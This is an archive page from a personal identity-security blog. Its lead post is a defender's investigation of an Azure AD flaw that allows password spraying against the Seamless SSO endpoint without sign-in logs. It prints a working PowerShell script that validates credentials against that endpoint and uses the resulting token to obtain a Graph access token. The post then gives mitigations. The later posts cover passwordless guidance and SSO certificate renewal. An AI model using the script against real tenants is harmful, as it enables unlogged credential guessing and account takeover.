Jorge's Quest For Knowledge!

All About Identity And Security On-Premises And In The Cloud – It's Just Like An Addiction, The More You Have, The More You Want To Have!

Archive for the ‘SSO’ Category

(2021-10-05) Azure AD Password Brute Force Flaw Found By ArsTechnica

Posted by Jorge on 2021-10-05


Last week, as many of you, I became aware of the the Azure AD Password Brute Force “Flaw” that was found by ArsTechnica. Of course this raised my interest and I wanted to do some research myself to understand as best as possible what was going on.

Source: https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/

This whole thing was focussed on an Azure AD endpoint mainly used for Seamless Sign-On when using either PHS only or PTA only for a specific domain in Azure AD.

So I will start at the beginning and walk you through what I found.

When I looked into my sign-in logs of my test/dev Azure AD tenant, I saw the following

Figure 1: Sign-In Events In The Sign-In Logs In Azure AD

To test this I used the following code, that I found through https://securecloud.blog/2019/12/26/reddit-thread-answer-azure-ad-autologon-endpoint/

Invoke-Command -ScriptBlock {
	[string]$tenantname= Read-Host -Prompt "Enter Azure AD Tenant Short Name"	
	[string]$username= Read-Host -Prompt "Enter UserName"
	$securedValue = Read-Host -AsSecureString -Prompt "Enter Password"
	$bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($securedValue)
	$password = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)

	$requestid = [System.Guid]::NewGuid().guid

	$domain = ($username -split "@")[1]

	Invoke-RestMethod -Method Get -UseBasicParsing ("https://login.microsoftonline.com/common/userrealm/$username" + "?api-version=1.0") -UserAgent $userAgent

	$headers = @{
		"client-request-id"=$requestid
		"return-client-request-id"="true"
	}

	$uri2 = "https://autologon.microsoftazuread-sso.com/$domain/winauth/trust/2005/usernamemixed?client-request-id=$requestid"

	[xml]$data = '<?xml version="1.0" encoding="UTF-8"?>
	<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
	  <s:Header>
		<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</a:Action>
		<a:MessageID>urn:uuid:36a6762f-40a9-4279-b4e6-b01c944b5698</a:MessageID>
		<a:ReplyTo>
		  <a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
		</a:ReplyTo>
		<a:To s:mustUnderstand="1">https://autologon.microsoftazuread-sso.com/$tenantname.onmicrosoft.com/winauth/trust/2005/usernamemixed?client-request-id=30cad7ca-797c-4dba-81f6-8b01f6371013</a:To>
		<o:Security xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" s:mustUnderstand="1">
		  <u:Timestamp u:Id="_0">
			<u:Created>2019-01-02T14:30:02.068Z</u:Created>
			<u:Expires>2019-01-02T14:40:02.068Z</u:Expires>
		  </u:Timestamp>
		  <o:UsernameToken u:Id="uuid-ec4527b8-bbb0-4cbb-88cf-abe27fe60977">
			<o:Username>DefinedLater</o:Username>
			<o:Password>DefinedLater</o:Password>
		  </o:UsernameToken>
		</o:Security>
	  </s:Header>
	  <s:Body>
		<trust:RequestSecurityToken xmlns:trust="http://schemas.xmlsoap.org/ws/2005/02/trust">
		  <wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy">
			<a:EndpointReference>
			  <a:Address>urn:federation:MicrosoftOnline</a:Address>
			</a:EndpointReference>
		  </wsp:AppliesTo>
		  <trust:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</trust:KeyType>
		  <trust:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</trust:RequestType>
		</trust:RequestSecurityToken>
	  </s:Body>
	</s:Envelope>
	'

	[string]$UsernameToken  = [System.Guid]::NewGuid().guid

	[string]$messageId = "urn:uuid:" + ([System.Guid]::NewGuid().guid)

	$data.Envelope.Header.Security.UsernameToken.Id = $UsernameToken

	$data.Envelope.Header.Security.UsernameToken.Username = $username

	$data.Envelope.Header.Security.UsernameToken.Password = $password

	$data.Envelope.Header.MessageID = $messageId

	$data.Envelope.Header.To.'#text'= $uri2

	$req = Invoke-RestMethod -UseBasicParsing -Uri $uri2 -Method Post -Headers $headers -Body  $data -ContentType "application/soap+xml; charset=utf-8" -UserAgent $userAgent

	$samltoken = $req.Envelope.Body.RequestSecurityTokenResponse.RequestedSecurityToken.Assertion.DesktopSsoToken

	$token ='<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion"><DesktopSsoToken>SAMLSSO</DesktopSsoToken></saml:Assertion>' -replace "SAMLSSO", $samltoken

	$bytes = [System.Text.Encoding]::ASCII.GetBytes($token)

	$base64 = [System.Convert]::ToBase64String($bytes);$base64

	$uri3 = "https://login.microsoftonline.com/common/oauth2/token"

	$body =@{
		client_id = "cb1056e2-e479-49de-ae31-7812af012ed8"
		resource = "https://graph.microsoft.com"
		grant_type = "urn:ietf:params:oauth:grant-type:saml1_1-bearer"
		assertion = $base64
	}
		 
	$req = Invoke-RestMethod -UseBasicParsing -Uri $uri3 -Method Post -Headers $headers -ContentType "application/x-www-form-urlencoded" -Body $body

	$headers = @{
		"Authorization" = ($req.token_type) +" "+ ($req.access_token)
	   }
		 
	$me = Invoke-RestMethod -Uri ($body.resource + "/v1.0/me") -Method Get -Headers $headers; $me
}
  • [1] the sign in to my Windows 10 using my Azure AD account in a managed domain (jorge@managed.domain) (Visible in Figure 1);
  • [2] the sign-in to Azure AD portal using an account with Global Admin privileges (Visible in Figure 1);
  • [3] the sign-in for Azure AD PowerShell (Connect-AzureAD) with my Azure AD account in a managed domain (jorge@managed.domain), where I on purpose provided a wrong password. Hence the failure result (Visible in Figure 1);
  • [4] the sign-in for Azure AD PowerShell (Connect-AzureAD) with my federated Azure AD account (jorge@federated.domain). Fiddler showed redirection to my ADFS farm in my test environment, but that test environment is shutdown so ADFS (and WAP) is not available (sign-in did not initiate therefore not visible in logs) (Not visible in Figure 1);
  • [5] the sign-in for Azure AD PowerShell (Connect-AzureAD) with my federated Azure AD account @ work. Fiddler showed redirection to the ADFS farm at work. I did not complete sign-in, therefore nothing visible in sign-in logs in that Azure AD tenant. If I would complete the sign-in it would be visible for sure (Not visible in Figure 1);
  • [6] using the code above and signing in with my federated Azure AD account (jorge@federated.domain) and a wrong password (PHS enabled!) (Not visible in Figure 1);
    1. Fiddler DID NOT show a redirection to my ADFS farm in my test environment;
    2. Nothing was visible in the Azure AD sign-in logs;
    3. Output of the code was (figure 2);
Figure 2: Signing-In With A Federated Azure AD Account, And Wrong Password, Against The Azure AD UserNameMixed Endpoint
  • [7] using the code above and signing in with my federated Azure AD account (jorge@federated.domain) and a correct password (PHS enabled!) (I confirmed PHS was enabled and working and the password for this account was synched!) (Not visible in Figure 1);
    1. Fiddler DID NOT show a redirection to my ADFS farm in my test environment;
    2. Nothing was visible in the Azure AD sign-in logs;
    3. Output of the code was as above (figure 2);
  • [8] using the code above and signing in with my managed Azure AD account (jorge@managed.domain) and a wrong password (Not visible in Figure 1);
    1. Nothing was visible in the Azure AD sign-in logs;
    2. Output of the code was (figure 3);
Figure 3: Signing-In With A Managed Azure AD Account, And Wrong Password, Against The Azure AD UserNameMixed Endpoint
  • [9] using the code above and signing in with my managed Azure AD account (jorge@managed.domain) and a correct password (Not visible in Figure 1);
    1. Nothing was visible in the Azure AD sign-in logs;
    2. Output of the code was: MFA kicks in due to conditional access being enabled in all occasions for this account and because no MFA was done, authentication fails (figure 4);
Figure 4: Signing-In With A Managed Azure AD Account, And Correct Password, Against The Azure AD UserNameMixed Endpoint (Conditional Access Policy ENABLED)
  • [10] after disabling the conditional access policy impacting the managed Azure AD account and using the code above and signing in with my managed Azure AD account (jorge@managed.domain) and a correct password (Not visible in Figure 1);
    1. Nothing was visible in the Azure AD sign-in logs;
    2. Output of the code was: No MFA this time due to disabling conditional access policy, authentication now fully succeeds (figure 5);
Figure 5: Signing-In With A Managed Azure AD Account, And Correct Password, Against The Azure AD UserNameMixed Endpoint (Conditional Access Policy DISABLED)

I wanted to go a step further and see what happens if I converted my federated domain to a managed domain. And that is exactly what I did!

I converted “@federated.domain” to “@managed.domain”. so, now the user jorge@federated.domain is jorge@federated.domain.converted.to.managed.domain (man I’m glad this is not my real mail address!)

  • [11] using the code above and signing in with my converted managed Azure AD account (jorge@federated.domain.converted.to.managed.domain) and a correct password (Not visible in Figure 1);
    1. Nothing was visible in the Azure AD sign-in logs;
    2. Output of the code was: (figure 6);
Figure 6: Signing-In With A Managed (Converted From Federated) Azure AD Account, And Correct Password, Against The Azure AD UserNameMixed Endpoint
  • [12] as soon as I reverted back from native to federated it failed again as in [7]

So based upon these findings my personal conclusion is:

  1. This does allow password brute-force/spraying attacks to understand whether a password is correct or not
  2. Nothing is logged in the sign-in logs in Azure AD, that applies to both success and failure sign-ins
  3. It appears NOT to work (i.e. no security issue) when targeting accounts in federated domains, whether PHS is enabled or not. It looks like the Azure AD UserNameMixed endpoint ignores requests from accounts in federated domains (ADFS is not that bad after all! 😉 );
  4. It appears to work (i.e. security issue) when targeting accounts in managed domains, when either using PHS (tested) and PTA (not tested) as those can use Seamless SSO;
  5. It applies to PTA too because Azure AD receives the password and sends it to the PTA agent on-premises and because it can also use Seamless SSO;
  6. Although NOT tested against ADFS/WAP using the code above, if the same endpoint is exposed in ADFS through WAP, then you have the exact same issue for accounts in AD. A recommendation is to have it published through ADFS, but NOT to publish it through WAP (proxy);
  7. I do not consider this to be a vulnerability, but rather a bad “by design”-made decision, because:
    1. Nothing is logged, either with failure of success;
    2. The endpoint is always enabled whether or not you use Seamless SSO;
  8. Although NOT mentioned previously by me, but in step [11] it only worked after disabling Azure AD Identity Protection Sign-in Risk. After I converted the domain from federated to managed, Azure AD Identity protection sign-in risk kicked in and forced me to change my password. After changing my password, I would be in the same boat as an normal managed account
  9. Although nothing being logged in the Azure AD sign-in logs when targeting the Azure AD UserNameMixed, I think have Azure AD Identity Protection AND a conditional access policy forcing MFA at all times will save and protect your bacon. During my testing I experienced blockages due to Azure AD Identity Protection being enabled and Conditional Access forcing MFA at all times. Although MFA may be enabled, but because confirmation is given a password is correct or not, and when correct you just need to find another endpoint/app/whatever for which MFA is not enabled.

Recommendations for you:

  • Enable conditional access policy to always force MFA, especially in external scenarios and/or from untrusted devices
  • Enable Azure AD Identity Protection Sign-In and User-Risk
  • And while you are at it, not really related to this, do enable PHS if you are federated, to be able to leverage leaked credentials

With that in mind, Microsoft appears to go to change things as described in the following link: https://www.databreachtoday.com/microsoft-will-mitigate-brute-force-bug-in-azure-ad-a-17646

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided “AS IS” with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/

————————————————————————————————————————————————————-
########################### IAMTEC | Jorge’s Quest For Knowledge ##########################
#################### http://JorgeQuestForKnowledge.wordpress.com/ ###################

————————————————————————————————————————————————————

IAMTEC

Identity | Security | Recovery

————————————————————————————————————————————————————-

Advertisement

Posted in Azure AD Identity Protection, Conditional Access, Multi-Factor AuthN, Pass Through Authentication, Password Hash Sync (PHS), Passwords, Security, SSO, Windows Azure Active Directory | Leave a Comment »

(2019-12-12) Delivered Session About “Moving Towards Passwordless Concept”

Posted by Jorge on 2019-12-12


Delivered session @DetronICT, invited by @ThierryVos about "Moving Towards Passwordless Concept" (preso and demos). About 30 tech enthusiasts listened until bitter end. Thanks for the invitation, and until a next time! Reward afterwards? Enjoying some beers together!

image

Figure 1: Initial Slide – Title/SubTitle

image

Figure 2: Introducing Me

image

Figure 3: The Agenda

image

Figure 4: The Agenda With Demos

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided "AS IS" with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### Jorge’s Quest For Knowledge ##########################
####################
http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————-

Posted in Active Directory Domain Services (ADDS), Active Directory Federation Services (ADFS), Azure AD / Office 365, Azure AD Connect, Azure AD Identity Protection, Azure AD MFA Adapter, Azure AD Password Protection, Conferences, Field Experiences, Group Policy Objects, Last Logon Information, Microsoft Authenticator App, Multi-Factor AuthN, MVP, Password Expiration Notification, Password-Less, Passwords, Passwords, Self-Service Password Reset, SSO, SYSVOL, Tooling/Scripting, Windows Azure Active Directory | 1 Comment »

(2019-08-01) Moving Towards The Password-Less Concept – One Heck Of Journey And Badly Needed

Posted by Jorge on 2019-08-01


Current passwords are potentially weak and any use of those in general further weakens an infrastructure. Preferably any org needs to move away from using passwords as much as possible. This means for example preventing the usage of passwords, and instead use SSO and/or other more secure authentication mechanisms. In other words, the adoption of the "Password-Less" concept. However, for those scenarios that cannot adopt “Password-Less" (yet), passwords must be strengthened or better secured at rest and in transport. In today’s world “identity” is the key control plane. Therefore protecting the “identity” and everything related is of utmost importance. Usage of weak passwords presents unacceptable security risks to any org. We all know that, don’t we?! Now you need to act to secure yourself as best as possible.

Going password-less is a journey on its own and implementing that concept could mean for example (NOT an exhaustive list and also in random order!):

  • Ban “weak/common” words from being used in weak passwords using Azure AD Password Protection and/or LithNet Password Protection For Active Directory (LPP) (last one is free and the feature set is huge!)
  • Check AD for weak passwords and weak accounts configurations and follow up with risk mitigating actions. Can be done through LPP and DS Internals and generic LDAP queries
  • Help and educate users in terms of using, storing, generating, uniqueness, sharing/distributing, etc. for less frequent (complex and long) and regular used (pass phrases) passwords. Preferably use machine generated passwords as those have no human logic in them, or use (long) passphrases or bang your head against the keyboard multiple times while on and off holding the SHIFT key (last one, kidding!) (people tend to implement logic or sequences somehow in passwords to not forget those long passwords and to make them unique)
  • Move service accounts in AD from regular service accounts to:
    • Group Managed Service Accounts if possible
    • …and if that’s not possible have a password vault store, manage and change passwords on a regular basis
    • …and if that’s not possible keep using regular service accounts with long and unique passwords
  • If possible, increase the password length to a minimum of 15 characters for users
  • Move away from periodic password changes to risk based password changes (e.g. through Azure AD Identity Protection)
  • Using strong and unique passwords for every individual system/site not supporting SSO (the strength of a password is mostly determined by its length, the longer the better!);
  • Securely store passwords in an MFA enabled password manager/vault that is available on both your desktop and mobile device(s)
  • Make Self-Service Password Reset available to users for those occasions where the password is needed but the user has forgotten the password or has locked itself out
  • When using ADFS, implement extranet lockout policy
  • Only use HTTPS connections (at least TLS1.2) in your environment and do not use HTTP
  • Update systems, tools, scripts to NOT set weak/generic/well-known password or account configurations (e.g. LM Hashes, Password Not Required, Password Never Expires, etc)
  • Decrease the use of passwords as much as possible by:
    • Implementing SSO
    • Implement password-less authN for Windows computers (e.g. Windows Hello for Business) and remove password based authN if possible
    • Implement password-less authN for mobile devices (e.g. Azure AD MFA + AuthNtor App Notifications And OTPs) as primary authN, preferably with at least 2 factors during that primary authN, or implement password authN as secondary authN (when using ADFS)

Additional Resources:

Hope this helps you!

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided "AS IS" with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### Jorge’s Quest For Knowledge ##########################
####################
http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————-

Posted in Active Directory Domain Services (ADDS), Active Directory Federation Services (ADFS), Azure AD MFA Adapter, Azure AD Password Protection, Kerberos AuthN, Microsoft Authenticator App, Multi-Factor AuthN, NTLM AuthN, Password-Less, Security, Self-Service Password Reset, SSO, WH4B, Windows Azure Active Directory, Windows Client, Windows Integrated AuthN | 1 Comment »

(2016-09-30) Azure AD Warns You About An Upcoming Token Signing Certificate Expiration To Federate With An Application

Posted by Jorge on 2016-09-30


You are using Azure AD for federate with other SaaS solutions (e.g. SalesForce) so that you can achieve SSO when either logging on with your Azure AD credentials or if you are using an on-premises federation solution like ADFS your on-premises AD credentials (assuming you are using AD). As you may know every federation trust is based upon certificates and certificates do expire.

[1] As the Identity Provider (IdP) you will always have a Token Signing certificate to sign security tokens/SAML responses issued by the IdP for the Service Provider (SP).

[2] As the Service Provider (SP) you may have Token Signing certificate to sign SAML request issued for the SP for the Identity Provider (IdP) and/or a Token Encryption certificate to decrypt the assertions in the security tokens/SAML responses that were issued and encrypted by the Identity Provider (IdP).

With that in mind you will have replace those certificates before they expire. And in this case we focus on [1].

Azure AD to the rescue! And that’s where Azure AD comes in to warn about a certificate it knows about that will expire within some number of days.

When that happens, and this case it is about federating between Azure AD and SalesForce, you will receive an e-mail similar to the one below.

Action required: Your usage of Salesforce using Azure Active Directory may incur downtime if action is not taken to update the certificate used for single sign-on.

image

Figure 1: Mail From The Azure AD Team Warning About An Upcoming Certificate Expiration

As the e-mail mentions perform the following steps:

  • [1] Sign into the Azure classic portal using an global administrator account that also has service administrator or co-administrator permissions.
  • [2] Under the Active Directory tab, select the following directory name:  <Directory Name>
  • [3] Select the Applications tab, then select <Application name>.
  • [4] On the Quick Start tab (represented by the blue cloud icon), select the Configure single sign-on button.
  • [5] Select Microsoft Azure AD Single Sign-On and select Next.
  • [6] In the Configure App Settings screen, select Configure the certificate used for federated single sign-on and select Next.

image

Figure 2: Choosing The SSO Option For The Application

As the e-mail mentions perform the following steps:

  • [6] In the Configure App Settings screen, select Configure the certificate used for federated single sign-on and select Next.

Arriving at the “Configure App Settings” screen you should already have a “Sign On URL” and a “Identifier” specified

image

Figure 3: Configuring App Settings

In this case for SalesForce, go to SalesForce and on the screen on the left where it says “Administer” click on “Domain Management” and then click on “Domains”. On that page you will find the “Sign On URL” that needs to be specified in Azure AD (Figure 3).

image

Figure 4: Determining The SalesForce “Sign On URL”

In this case for SalesForce, go to SalesForce and on the screen on the left where it says “Administer” click on “Security Controls” and then click on “Single Sign-On Settings”. On that page you will find the “Identifier” that is configured in SalesForce for the IdP representing Azure AD and that needs to be specified in Azure AD (Figure 3).

image

Figure 5: Determining The SalesForce “Identifier”

As the e-mail mentions perform the following steps:

  • [7] In the Configure Federated SSO Certificate screen, select Generate a new certificate, choose an appropriate validity duration for the certificate and select Next.

image

Figure 6: Configuring An SSO Certificate

The mail does not mention the following steps, but you should execute the following steps:

  • [8] Click on Download Certificate and save the certificate file somewhere on your cmoputer

image

Figure 7: Configuring SSO For The Application In Azure AD

The mail does not mention the following steps, but you should execute the following steps (In this case for SalesForce):

  • [9] Go to SalesForce
  • [10] On the screen on the left where it says “Administer” click on Security Controls and then click on Single Sign-On Settings. On that page click on the IdP representing Azure AD.

image

Figure 8: Selecting And Editing The IdP In SalesForce That Represents Azure AD

  • [11] Click on Edit
  • [12] The “Issuer URL” (Figure 7) should be specified in (1)
  • [13] The “downloaded Certificate” (Figure 7) should be specified in (2). Click Browse and upload the certificate that you previously downloaded from Azure AD
  • [14] The “Remote Login URL” (Figure 7) should be specified in (3)
  • [15] The “Single Sign-Out Service URL” (Figure 7) should be specified in (4)
  • [16] Click on Save

image

Figure 9: Configuring The IdP In SalesForce That Represents Azure AD

  • [17] Now go back to the Azure AD portal (Figure 7)
  • [18] Check Confirm that you have configured single sign-on as described….
  • [19] Click Next
  • [20] Specify your mail address, if not already specified to receive a confirmation that SSO was configured
  • [21] Click Next

image

Figure 10: SSO Configuration Confirmation

Your access to the application through SSO should still work and you should be good to go for the amount of time the new certificate is valid.

Cheers,
Jorge
———————————————————————————————
* This posting is provided "AS IS" with no warranties and confers no rights!
* Always evaluate/test yourself before using/implementing this!
* DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
———————————————————————————————
############### Jorge’s Quest For Knowledge #############
#########
http://JorgeQuestForKnowledge.wordpress.com/ ########
———————————————————————————————

Posted in Certificates, SaaS Apps, SSO, Windows Azure Active Directory | Leave a Comment »

(2014-11-21) Troubleshooting SSO Issues In Azure AD, Office 365 Or Windows Intune

Posted by Jorge on 2014-11-21


The following resources can help you troubleshoot with SSO issues:

Cheers,
Jorge
———————————————————————————————
* This posting is provided "AS IS" with no warranties and confers no rights!
* Always evaluate/test yourself before using/implementing this!
* DISCLAIMER:
https://jorgequestforknowledge.wordpress.com/disclaimer/
———————————————————————————————
############### Jorge’s Quest For Knowledge #############
#########
http://JorgeQuestForKnowledge.wordpress.com/ ########
———————————————————————————————

Posted in Office 365, SSO, SSO, Troubleshoot, Troubleshoot, Windows Azure Active Directory | Leave a Comment »

 
%d bloggers like this: